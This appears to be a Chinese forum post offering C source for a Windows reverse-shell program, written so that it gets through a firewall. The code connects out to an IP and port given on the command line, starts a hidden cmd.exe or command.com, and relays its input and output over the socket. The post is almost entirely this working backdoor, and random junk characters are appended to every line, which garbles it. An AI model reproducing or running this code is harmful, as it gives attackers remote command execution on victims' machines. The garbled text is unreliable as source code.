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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 DmPp&  
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/* ============================== 4WDh8U  
Rebound port in Windows NT nV GrW#'E  
By wind,2006/7 3C2L _ K3  
===============================*/ RV7l=G9tq  
#include j@Z4(X L  
#include $\{@wL  
bf::bV?T  
#pragma comment(lib,"wsock32.lib") P b2exS(  
p]IF=~b  
void OutputShell(); i!jx jP  
SOCKET sClient; |WlWZ8]  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ~x`OCii  
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void main(int argc,char **argv) k6. }.  
{ l *.#g  
WSADATA stWsaData; gHA"O@HgDI  
int nRet; "ifYy>d  
SOCKADDR_IN stSaiClient,stSaiServer; @)|62Dv /  
|%we@ E  
if(argc != 3) r#3(;N{=  
{ =K}5 fe  
printf("Useage:\n\rRebound DestIP DestPort\n"); IIs'm!"Y>  
return; WHMt$W}%  
} KK}^E_v  
i5q VQo  
WSAStartup(MAKEWORD(2,2),&stWsaData); wjQu3 ,Cj  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); j:\MrYt0H  
9:IVSD&"Rf  
stSaiClient.sin_family = AF_INET; GnkNoaU  
stSaiClient.sin_port = htons(0); "\)j=MI8u+  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 8?h-H #h  
ytK h[Uo  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Hh4$Qr;R  
{ BUuNI_?M#5  
printf("Bind Socket Failed!\n"); iLNKC'  
return; y2 yW91B,  
} OT&J OTk\  
hK&jo(V  
stSaiServer.sin_family = AF_INET; DHd9yP9-  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); C /\)-^  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); iE!\)7y  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) g,r'].Jg  
{ L "P$LEk  
printf("Connect Error!"); SBg BZm}%  
return; V*2uW2\}  
} D:/^TEib  
OutputShell(); VkZrb2]v  
} F /IXqj  
B{PI&a9~s%  
void OutputShell() }v"X.fa^  
{ :na9PW`TC  
char szBuff[1024]; bM; ==W  
SECURITY_ATTRIBUTES stSecurityAttributes; -uHD| }  
OSVERSIONINFO stOsversionInfo; @~qlSU&  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; u`O xY  
STARTUPINFO stStartupInfo; P=OHiG\z  
char *szShell; #;# V1  
PROCESS_INFORMATION stProcessInformation; Oca_1dlx  
unsigned long lBytesRead; /ZUKt  
/Q 8E12  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); x$tx!%,)/S  
FO&U{(Q  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 2Xys;Dwx  
stSecurityAttributes.lpSecurityDescriptor = 0; D .oX>L#:  
stSecurityAttributes.bInheritHandle = TRUE; ^y]CHr  
K*xqQ]&  
LJt#c+]Li  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); l\I#^N  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); `lX |yy"  
/GD4GWv :  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); /'ccFm2  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O KVIl  
stStartupInfo.wShowWindow = SW_HIDE; FctqE/>}I  
stStartupInfo.hStdInput = hReadPipe; oi^2Pvauh  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 33z)F  
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GetVersionEx(&stOsversionInfo); L}T:Y).  
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switch(stOsversionInfo.dwPlatformId) R@ N I  
{ S='AA_jnw  
case 1: x DD3Y{ K  
szShell = "command.com"; rlEEf/m:  
break; o{f|==<t3#  
default: B2w\  
szShell = "cmd.exe"; .'k]]2%ILp  
break; `xMmo8u4  
} @KfFt R-;  
$6e&sDJ  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); tpOMKh.`  
h,o/(GNnW  
send(sClient,szMsg,77,0); $O9Nprf  
while(1) EnnT)qos  
{ AIgJ,=9K  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); bi;?)7p&ZY  
if(lBytesRead) T[]2]K[&B  
{ {/#^v?,  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 9JYrP6I!_  
send(sClient,szBuff,lBytesRead,0); ~w_4 nE  
} 4wk-f7I(  
else ZG:#r\a  
{ ACm9H9:Vd  
lBytesRead=recv(sClient,szBuff,1024,0); ^ ]02)cK  
if(lBytesRead<=0) break; +[C dd{2  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); v]SHude{  
} K<TVp;N  
} WDQtj$e+  
#RT}-H  
return; =@q 9,H  
}
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